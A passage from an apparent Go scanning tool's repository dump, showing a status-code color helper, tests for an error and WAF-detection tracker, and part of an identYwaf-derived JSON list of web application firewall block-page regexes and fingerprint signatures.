aurora.BlueFg\n\tcase code >= 400 && code < 500:\n\t\treturn aurora.YellowFg\n\tcase code >= 500:\n\t\treturn aurora.RedFg\n\tdefault:\n\t\treturn aurora.WhiteFg\n\t}\n}\n"
  },
  {
    "path": "pkg/output/stats/stats_test.go",
    "content": "package stats\n\nimport (\n\t\"testing\"\n)\n\nfunc TestTrackErrorKind(t *testing.T) {\n\ttracker := NewTracker()\n\n\t// Test single increment\n\ttracker.TrackErrorKind(\"timeout\")\n\tif count, _ := tracker.errorCodes.Get(\"timeout\"); count == nil || count.Load() != 1 {\n\t\tt.Errorf(\"expected error kind timeout count to be 1, got %v\", count)\n\t}\n\n\t// Test multiple increments\n\ttracker.TrackErrorKind(\"timeout\")\n\tif count, _ := tracker.errorCodes.Get(\"timeout\"); count == nil || count.Load() != 2 {\n\t\tt.Errorf(\"expected error kind timeout count to be 2, got %v\", count)\n\t}\n\n\t// Test different error kind\n\ttracker.TrackErrorKind(\"connection-refused\")\n\tif count, _ := tracker.errorCodes.Get(\"connection-refused\"); count == nil || count.Load() != 1 {\n\t\tt.Errorf(\"expected error kind connection-refused count to be 1, got %v\", count)\n\t}\n}\n\nfunc TestTrackWaf_Detect(t *testing.T) {\n\ttracker := NewTracker()\n\n\ttracker.TrackWAFDetected(\"Attention Required! | Cloudflare\")\n\tif count, _ := tracker.wafDetected.Get(\"cloudflare\"); count == nil || count.Load() != 1 {\n\t\tt.Errorf(\"expected waf detected count to be 1, got %v\", count)\n\t}\n}\n"
  },
  {
    "path": "pkg/output/stats/waf/regexes.json",
    "content": "{\n    \"__copyright__\": \"Copyright (c) 2019-2021 Miroslav Stampar (@stamparm), MIT. See the file 'LICENSE' for copying permission\",\n    \"__notice__\": \"The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software\",\n    \"__url__\": \"Taken from: https://raw.githubusercontent.com/stamparm/identYwaf/refs/heads/master/data.json\",\n    \n    \"wafs\": {\n        \"360\": {\n            \"company\": \"360\",\n            \"name\": \"360\",\n            \"regex\": \"<title>493</title>|/wzws-waf-cgi/\",\n            \"signatures\": [\n                \"9778:RVZXum61OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTC\",\n                \"9ccc:RVZXum61OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c36A4chW1XaTC\"\n            ]\n        },\n        \"aesecure\": {\n            \"company\": \"aeSecure\",\n            \"name\": \"aeSecure\",\n            \"regex\": \"aesecure_denied\\\\.png|aesecure-code: \\\\d+\",\n            \"signatures\": [\n                \"8a4b:RVdXu260OEhCWapBYKcPk4JzWOtohM4JiUcMrmRXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJOdLsXo2tKaK99n+i7c4RmkgI2FZnxtDtBeq+c36A4chW1XaTD\"\n            ]\n        },\n        \"airlock\": {\n            \"company\": \"Phion/Ergon\",\n            \"name\": \"Airlock\",\n            \"regex\": \"The server detected a syntax error in your request\",\n            \"signatures\": [\n                \"3e2c:RVZXu261OEhCWapBYKcPk4JzWOtohM4IiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXomtKaK59n+i6c4RmkwI2FZjxtDtAeq6c36A5chW1XaTD\"\n            ]\n        },\n        \"alertlogic\": {\n            \"company\": \"Alert Logic\",\n            \"name\": \"Alert Logic\",\n            \"regex\": \"(?s)timed_redirect\\\\(seconds, url\\\\).+?<p class=\\\"lid\\\">Reference ID:\",\n            \"signatures\": []\n        },\n        \"aliyundun\": {\n            \"company\": \"Alibaba Cloud Computing\",\n            \"name\": \"AliYunDun\",\n            \"regex\": \"Sorry, your request has been blocked as it may cause potential threats to the server's security|//errors\\\\.aliyun\\\\.com/\",\n            \"signatures\": [\n                \"e082:RVZXum61OElCWapAYKYPkoJzWOpohM4JiUYMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC\"\n            ]\n        },\n        \"anquanbao\": {\n            \"company\": \"Anquanbao\",\n            \"name\": \"Anquanbao\",\n            \"regex\": \"/aqb_cc/error/\",\n            \"signatures\": [\n                \"c790:RVZXum61OElCWapAYKYPk4JzWOpohM4JiUYMr2RXg1uQJbX3uhdOn9hsOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"d3d3:RVZXum61OElCWapAYKYPk4JzWOpohM4JiUYMr2RXg1uQJbX3uhdOn9hsOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC\"\n            ]\n        },\n        \"approach\": {\n            \"company\": \"Approach\",\n            \"name\": \"Approach\",\n            \"regex\": \"Approach.+?Web Application (Firewall|Filtering)\",\n            \"signatures\": [\n                \"fef0:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A5chW1XKTD\"\n            ]\n        },\n        \"armor\": {\n            \"company\": \"Armor Defense\",\n            \"name\": \"Armor Protection\",\n            \"regex\": \"This request has been blocked by website protection from Armor\",\n            \"signatures\": [\n                \"03ec:RVZXum60OEhCWapBYKYPk4JzWOtohM4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c36A4chS1XaTC\",\n                \"1160:RVZXum60OEhCWapBYKYPk4JyWOtohM4IiUcMr2RWg1qQJbX3uhZOnthsOj6hXrAA16BcPhJOdLoXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC\"\n            ],\n            \"note\": \"Uses SecureSphere (Imperva) (Reference: https://www.imperva.com/resources/case_studies/CS_Armor.pdf)\"\n        },\n        \"asm\": {\n            \"company\": \"F5 Networks\",\n            \"name\": \"Application Security Manager\",\n            \"regex\": \"The requested URL was rejected\\\\. Please consult with your administrator|security\\\\.f5aas\\\\.com\",\n            \"signatures\": [\n                \"2f81:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI3FZjxtDtAeq+c36A4chS1XaTC\",\n                \"4fd0:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq6c3qA4chS1XaTC\",\n                \"5904:RVZXum60OEhCWapBYKcPk4JzWOpohc4IiUcMr2RWg1uQJbX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq+c3qA4chS1XaTC\",\n                \"8bcf:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq6c36A5chS1XaTC\",\n                \"540f:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq+c36A5chS1XaTC\",\n                \"c7ba:RVZXum60OEhCWKpAYKYPkoJzWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXomtLaK99n+i7c4VmkwI3FZjxtDtAeq6c3qA4chS1XaTC\",\n                \"fb21:RVZXum60OEhCWapBYKcPk4JzWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI3FZjxtDtAeq+c36A5chW1XaTC\",\n                \"b6ff:RVZXum61OEhCWapBYKcPkoJzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq+c36A4chW1XaTC\",\n                \"3b1e:RVZXum60OEhCWapBYKcPk4JyWOpohM4IiUcMr2RWg1qQJLX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tKaK99nui7c4RmkgI2FZjxtDtAeq6c3qA5chS1XKTC\",\n                \"620c:RVZXum60OEhCWapBYKcPkoJzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTC\",\n                \"b9a0:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq+c3qA4chW1XaTC\",\n                \"ccb6:RVdXum61OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq+c36A5chW1XaTC\",\n                \"9138:RVZXum60OEhCWapBYKcPk4JzWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq6c3qA4chS1XaTC\",\n                \"54cc:RVZXum61OEhCWapBYKcPkoJzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq6c3qA4chS1XaTC\",\n                \"4c83:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTC\",\n                \"8453:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq+c36A4chS1XaTC\"\n            ]\n        },\n        \"astra\": {\n            \"company\": \"Czar Securities\",\n            \"name\": \"Astra\",\n            \"regex\": \"(?s)unfortunately our website protection system.+?//www\\\\.getastra\\\\.com\",\n            \"signatures\": []\n        },\n        \"aws\": {\n            \"company\": \"Amazon\",\n            \"name\": \"AWS WAF\",\n            \"regex\": \"(?i)HTTP/1.+\\\\b403\\\\b.+\\\\s+Server: aws|(?s)Request blocked.+?Generated by cloudfront\",\n            \"signatures\": [\n                \"2998:RVZXu261OEhCWapBYKcPk4JzWOpohM4IiUcMr2RWg1uQJbX3uhZOnthsOj6hXrAA16BcPhJOdLoXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC\",\n                \"fffa:RVZXum60OEhCWapAYKYPk4JyWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPhJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC\",\n                \"9de0:RVZXu261OEhCWapBYKcPk4JzWOpohM4IiUcMr2RWg1uQJbX3uhZOnthtOj+hXrAA16BcPhJOdLoXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC\",\n                \"34a8:RVZXu261OEhCWapBYKcPk4JzWOpohM4IiUcMr2RWg1uQJbX3uhdOn9htOj+hXrAB16BcPxJOdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC\",\n                \"1104:RVZXum61OEhCWapBYKcPk4JzWOpohM4IiUcMr2RXg1uQJbX3uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC\",\n                \"ea40:RVZXu261OEhCWapBYKcPk4JzWOtohM4IiUcMr2RWg1uQJbX3uhdOn9htOj+hXrAB16BcPxJOdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC\"\n            ]\n        },\n        \"barracuda\": {\n            \"company\": \"Barracuda Networks\",\n            \"name\": \"Barracuda\",\n            \"regex\": \"\\\\bbarracuda_|barra_counter_session=|when this page occurred and the event ID found at the bottom of the page|<!--(0123456789){15}\",\n            \"signatures\": [\n                \"2676:RVdXum61OElCWapAYKYPk4JzWOtohM4JiUcMr2RWg1qQJbX3uhdOn9htOj+hXrAB16FcPxJPdLsXo2tKaK99n+i6c4VmkwI3FZjxtDtAeq6c36A4chS1XaTC\",\n                \"db27:RVdXum61OElCWapAYKYPk4JzWOtohM4JiUcMr2RWg1qQJbX3uhdOn9htOj+hXrAB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XaTC\",\n                \"7e6b:RVdXum61OElCWapBYKYPk4JzWOtohM4JiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c36A4chS1XaTC\"\n            ]\n        },\n        \"bekchy\": {\n            \"company\": \"Faydata Information Technologies Inc.\",\n            \"name\": \"Bekchy\",\n            \"regex\": \"<title>Bekchy - Access Denided</title>|<a class=\\\"btn\\\" href=\\\"https://bekchy.com/report\\\">\",\n            \"signatures\": [\n                \"e1c5:RVZXum60OEhCWKpAYKYPk4JzWOtohc4IiUYMr2RWg1uQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC\"\n            ]\n        },\n        \"bitninja\": {\n            \"company\": \"BitNinja\",\n            \"name\": \"BitNinja\",\n            \"regex\": \"alt=\\\"BitNinja|Security check by BitNinja|your IP will be removed from BitNinja|<title>Visitor anti-robot validation</title>\",\n            \"signatures\": []\n        },\n        \"bluedon\": {\n            \"company\": \"Bluedon\",\n            \"name\": \"Bluedon\",\n            \"regex\": \"Bluedon Web Application Firewall|Server: BDWAF\",\n            \"signatures\": []\n        },\n        \"bulletproof\": {\n            \"company\": \"AITpro Website Security\",\n            \"name\": \"BulletProof Security Pro\",\n            \"regex\": \"(?s)bpsMessage.+?403 Forbidden Error Page.+?If you arrived here due to a search or clicking on a link\",\n            \"signatures\": []\n        },\n        \"cdnns\": {\n            \"company\": \"CdnNs/WdidcNet\",\n            \"name\": \"CdnNsWAF\",\n            \"regex\": \"by CdnNsWAF Application Gateway\",\n            \"signatures\": [\n                \"5c5d:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RWg1uQJbX2uhdOnthtOj+hX7AB16FcPhJPdLsXo2tLaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chW1XaTC\"\n            ]\n        },\n        \"cerber\": {\n            \"company\": \"Cerber Tech\",\n            \"name\": \"WP Cerber Security\",\n            \"regex\": \"We're sorry, you are not allowed to proceed|Your request looks suspicious or similar to automated requests from spam posting software\",\n            \"signatures\": [\n                \"d8c2:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC\"\n            ]\n        },\n        \"checkpoint\": {\n            \"company\": \"Check Point\",\n            \"name\": \"Next Generation Firewall\",\n            \"regex\": \"\",\n            \"signatures\": [\n                \"b771:RVZXum61OEhCWapAYKYPkoJzWOpohc4JiUYMr2RWg1uQJbX2uhdOnthsOj+hX7AB16BcPhJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"3b40:RVZXum60OEhCWapAYKYPkoJzWOpohM4IiUYMrmRWg1qQJLX2uhdOnthsOj+hX7AB16BcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XKTC\",\n                \"a332:RVZXum61OEhCWapAYKYPkoJzWOpohc4JiUYMr2RWg1uQJbX2uhdOnthsOj+hX7AB16BcPhJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC\",\n                \"a89b:RVZXum61OEhCWapAYKYPkoJzWOpohc4JiUYMr2RWg1uQJbX2uhdOnthsOj+hX7AB16BcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC\"\n            ]\n        },\n        \"chuangyu\": {\n            \"company\": \"Yunaq\",\n            \"name\": \"Chuang Yu Shield\",\n            \"regex\": \" \\\\d+\\\\.\\\\d+\\\\.\\\\d+\\\\.\\\\d+/[0-9a-f]{7} \\\\[\\\\d+\\\\] \",\n            \"signatures\": [\n                \"eda6:RVZXum61OElCWapAYKcPkoJzWOpohM4IiUYMr2RXg1uQJbX2uhdOn9htOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTC\",\n                \"5bae:RVZXum61OElCWapAYKYPkoJzWOpohM4IiUYMr2RXg1uQJbX2uhdOn9htOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTC\"\n            ]\n        },\n        \"cloudbric\": {\n            \"company\": \"Cloudbric\",\n            \"name\": \"Cloudbric\",\n            \"regex\": \"Your request was blocked by Cloudbric\",\n            \"signatures\": [\n                \"514d:RVZXum60OEhCWapBYKcPk4JzWOtohM4JiUcMrmRXg1qQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\"\n            ]\n        },\n        \"cloudflare\": {\n            \"company\": \"CloudFlare\",\n            \"name\": \"CloudFlare\",\n            \"regex\": \"Attention Required! \\\\| Cloudflare|CLOUDFLARE_ERROR_\",\n            \"signatures\": [\n                \"956d:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC\",\n                \"6b42:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMr2RWg1uQJbX2uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC\",\n                \"2295:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMr2RWg1uQJbX2uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC\",\n                \"0d86:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMr2RWg1uQJbX2uhdOnthsOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC\",\n                \"4849:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMrmRWg1uQJbX2uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC\",\n                \"535c:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUYMr2RWg1uQJbX2uhdOnthtOj+hXrAB16FcPxJOdLoXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC\",\n                \"675a:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMrmRWg1uQJbX2uhdOnthsOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC\",\n                \"4a45:RVZXum60OEhCWKpAYKYPkoJzWOpohM4IiUcMrmRWg1uQJLX2uhdOnthsOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTC\",\n                \"1f29:RVZXum60OEhCWKpAYKYPkoJzWOpohM4IiUcMrmRWg1uQJLX2uhZOnthtOj+hXrAA16FcPhJOdLoXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC\",\n                \"6002:RVZXum60OEhCWapAYKYPkoJzWOpohM4IiUcMrmRWg1uQJbX2uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC\",\n                \"78df:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMrmRWg1uQJbX2uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTD\",\n                \"cf65:RVZXum60OEhCWapBYKcPkoJzWOtohM4IiUcMrmRWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4VmkgI2FZjxtDtAeq+c3qA5chW1XaTC\",\n                \"85c6:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTC\",\n                \"9a2d:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMrmRWg1uQJLX2uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC\",\n                \"0576:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMrmRXg1uQJbX2uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC\",\n                \"f3bb:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUYMr2RXg1uQJbX3uhdOnthtOj+hXrAB16FcPxJPdLoXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC\",\n                \"471d:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMr2RWg1uQJbX2uhZOnthtOj+hXrAA16FcPhJOdLoXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC\",\n                \"8936:RVZXum60OEhCWapAYKYPkoJzWOpohM4IiUcMrmRWg1uQJLX2uhdOnthsOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTC\",\n                \"0ade:RVZXum60OEhCWapAYKYPkoJzWOpohM4IiUcMr2RWg1uQJbX2uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC\",\n                \"22d1:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMr2RWg1uQJbX2uhdOnthtOj+hXrAA16FcPxJOdLoXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC\",\n                \"e9bd:RVZXum60OEhCWKpAYKYPkoJzWOpohM4IiUYMr2RXg1uQJLX3uhdOnthsOj+hXrAB16FcPxJPdLoXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC\"\n            ]\n        },\n        \"comodo\": {\n            \"company\": \"Comodo\",\n            \"name\": \"Comodo\",\n            \"regex\": \"Server: Protected by COMODO WAF\",\n            \"signatures\": [\n                \"ade8:RVZXum60OEhCWapAYKYPkoJzWOpohc4IiUYMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTD\",\n                \"f063:RVZXum60OEhCWapAYKYPkoJzWOpohM4IiUYMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTD\",\n                \"985c:RVZXum60OEhCWapAYKYPkoJzWOpohc4IiUYMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c3qA5chW1XaTD\",\n                \"f063:RVZXum60OEhCWapAYKYPkoJzWOpohM4IiUYMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTD\",\n                \"1971:RVZXum60OEhCWapAYKYPkoJzWOpohM4IiUYMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTD\"\n            ]\n        },\n        \"crawlprotect\": {\n            \"company\": \"Jean-Denis Brun\",\n            \"name\": \"CrawlProtect\",\n            \"regex\": \"<title>CrawlProtect|This site is protected by CrawlProtectc|Set-Cookie: crawlprotecttag\",\n            \"signatures\": [\n                \"1eca:RVZXum60OEhCWKpBYKYPkoJzWOpohM4IiUYMrmRXg1uQJLX2uhZOnthtOj+hXrAA16FcPhJPdLoXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XKTC\"\n            ]\n        },\n        \"distil\": {\n            \"company\": \"Distil Networks\",\n            \"name\": \"Distil\",\n            \"regex\": \"distilCaptchaForm|distilCallbackGuard|cdn\\\\.distilnetworks\\\\.com/images/anomaly-detected\\\\.png\",\n            \"signatures\": []\n        },\n        \"dotdefender\": {\n            \"company\": \"Applicure Technologies\",\n            \"name\": \"dotDefender\",\n            \"regex\": \"dotDefender Blocked Your Request|Applicure is the leading provider of web application security|Please contact the site administrator, and provide the following Reference ID\",\n            \"signatures\": [\n                \"7cce:RVZXum60OEhCWapAYKYPkoJzWOpohM4IiUYMrmRWg1uQJbX2uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC\",\n                \"dddb:RVdXum61OElCWapAYKYPk4JzWOtohM4JiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC\",\n                \"0718:RVZXum61OElCWapAYKYPk4JzWOtohM4IiUYMr2RWg1uQJbX2uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC\",\n                \"9bf2:RVdXum61OElCWapAYKYPk4JzWOtohM4IiUYMr2RXg1uQJbX2uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTC\"\n            ]\n        },\n        \"duedge\": {\n            \"company\": \"Baidu\",\n            \"name\": \"DuEdge\",\n            \"regex\": \"(?s)<h1>403<small>.+DuEdge Event ID: [0-9a-f]{16}.+IP: [0-9.]+\",\n            \"signatures\": []\n        },\n        \"expressionengine\": {\n            \"company\": \"EllisLab\",\n            \"name\": \"ExpressionEngine\",\n            \"regex\": \"(?s)\\\\bexp_last_.+?(Invalid GET Data|Invalid URI)\",\n            \"signatures\": [\n                \"88ec:RVZXum60OEhCWKpAYKYPkoJyWOpohM4JiUcMrmRWg1qQJbX3uhZOnthsOj6hX7AA16FcPxJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A4chS1XKTC\"\n            ]\n        },\n        \"fortiweb\": {\n            \"company\": \"Fortinet\",\n            \"name\": \"FortiWeb\",\n            \"regex\": \"Server Unavailable!\",\n            \"signatures\": [\n                \"9d05:RVZXu261OElCWapBYKcPk4JzWOtohM4IiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTD\"\n            ]\n        },\n        \"godaddy\": {\n            \"company\": \"GoDaddy\",\n            \"name\": \"GoDaddy Website Security\",\n            \"regex\": \"GoDaddy Security - Access Denied|Access Denied - GoDaddy Website Firewall\",\n            \"signatures\": [\n                \"6cff:RVdXum60OEhCWapAYKYPk4JzWOtohM4IiUYMr2RWg1uQJbX3uhdOn9htOj+hXrAA16FcPxJOdLoXomtKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC\"\n            ]\n        },\n        \"greywizard\": {\n            \"company\": \"Grey Wizard\",\n            \"name\": \"Greywizard\",\n            \"regex\": \"(?i)server: greywizard|detected attempted attack or non standard traffic from your IP address|<title>Grey Wizard</title>\",\n            \"signatures\": [\n                \"c669:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhdOnthsOj+hX7AB16FcPhJPdLsXomtKaK59nui7c4RmkwI2FZjxtDtAeq+c3qA5chW1XaTC\"\n            ]\n        },\n        \"gtmc\": {\n            \"company\": \"GTMC\",\n            \"name\": \"GTMC WAF\",\n            \"regex\": \"GTMC WAF1 Protection:|Please consult with administrator or waf@nm.gtmc.com.tw\",\n            \"signatures\": []\n        },\n        \"imunify360\": {\n            \"company\": \"CloudLinux\",\n            \"name\": \"Imunify360\",\n            \"regex\": \"Server: imunify360-webshield|protected by Imunify360|Powered by Imunify360|imunify360 preloader\",\n            \"signatures\": []\n        },\n        \"incapsula\": {\n            \"company\": \"Incapsula/Imperva\",\n            \"name\": \"Incapsula\",\n            \"regex\": \"Incapsula incident ID\",\n            \"signatures\": [\n                \"2770:RVZXum60OEhCWKpAYKYPkoJzWOpohc4IiUYMr2RWg1uQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTC\",\n                \"3193:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui6c4RmkgI2FZnxtDtAeq6c3qA4chS1XKTC\",\n                